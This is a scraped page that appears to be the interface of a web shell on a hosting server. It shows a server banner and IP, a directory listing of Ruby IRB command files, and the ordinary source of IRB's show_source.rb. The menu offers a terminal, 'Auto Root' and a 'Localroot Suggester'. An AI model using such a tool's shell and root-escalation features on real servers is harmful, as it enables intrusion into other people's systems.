Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.222
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby33 /
share /
ruby /
irb /
command /
Delete
Unzip
Name
Size
Permission
Date
Action
backtrace.rb
262
B
-rw-r--r--
2026-04-07 17:22
base.rb
1.2
KB
-rw-r--r--
2026-04-07 17:22
break.rb
254
B
-rw-r--r--
2026-04-07 17:22
catch.rb
254
B
-rw-r--r--
2026-04-07 17:22
chws.rb
826
B
-rw-r--r--
2026-04-07 17:22
context.rb
405
B
-rw-r--r--
2026-04-07 17:22
continue.rb
259
B
-rw-r--r--
2026-04-07 17:22
debug.rb
2.23
KB
-rw-r--r--
2026-04-07 17:22
delete.rb
256
B
-rw-r--r--
2026-04-07 17:22
disable_irb.rb
292
B
-rw-r--r--
2026-04-07 17:22
edit.rb
1.65
KB
-rw-r--r--
2026-04-07 17:22
exit.rb
257
B
-rw-r--r--
2026-04-07 17:22
finish.rb
255
B
-rw-r--r--
2026-04-07 17:22
force_exit.rb
267
B
-rw-r--r--
2026-04-07 17:22
help.rb
2.86
KB
-rw-r--r--
2026-04-07 17:22
history.rb
1.09
KB
-rw-r--r--
2026-04-07 17:22
info.rb
252
B
-rw-r--r--
2026-04-07 17:22
internal_helpers.rb
793
B
-rw-r--r--
2026-04-07 17:22
irb_info.rb
1.14
KB
-rw-r--r--
2026-04-07 17:22
load.rb
2.01
KB
-rw-r--r--
2026-04-07 17:22
ls.rb
4.29
KB
-rw-r--r--
2026-04-07 17:22
measure.rb
1.35
KB
-rw-r--r--
2026-04-07 17:22
next.rb
251
B
-rw-r--r--
2026-04-07 17:22
pushws.rb
1.31
KB
-rw-r--r--
2026-04-07 17:22
show_doc.rb
1.17
KB
-rw-r--r--
2026-04-07 17:22
show_source.rb
1.84
KB
-rw-r--r--
2026-04-07 17:22
step.rb
251
B
-rw-r--r--
2026-04-07 17:22
subirb.rb
2.85
KB
-rw-r--r--
2026-04-07 17:22
whereami.rb
435
B
-rw-r--r--
2026-04-07 17:22
Save
Rename
# frozen_string_literal: true require_relative "../source_finder" require_relative "../pager" require_relative "../color" module IRB module Command class ShowSource < Base include RubyArgsExtractor category "Context" description "Show the source code of a given method, class/module, or constant." help_message <<~HELP_MESSAGE Usage: show_source [target] [-s] -s Show the super method. You can stack it like `-ss` to show the super of the super, etc. Examples: show_source Foo show_source Foo#bar show_source Foo#bar -s show_source Foo.baz show_source Foo::BAR HELP_MESSAGE def execute(arg) # Accept string literal for backward compatibility str = unwrap_string_literal(arg) unless str.is_a?(String) puts "Error: Expected a string but got #{str.inspect}" return end str, esses = str.split(" -") super_level = esses ? esses.count("s") : 0 source = SourceFinder.new(@irb_context).find_source(str, super_level) if source show_source(source) elsif super_level > 0 puts "Error: Couldn't locate a super definition for #{str}" else puts "Error: Couldn't locate a definition for #{str}" end nil end private def show_source(source) if source.binary_file? content = "\n#{bold('Defined in binary file')}: #{source.file}\n\n" else code = source.colorized_content || 'Source not available' content = <<~CONTENT #{bold("From")}: #{source.file}:#{source.line} #{code.chomp} CONTENT end Pager.page_content(content) end def bold(str) Color.colorize(str, [:BOLD]) end end end end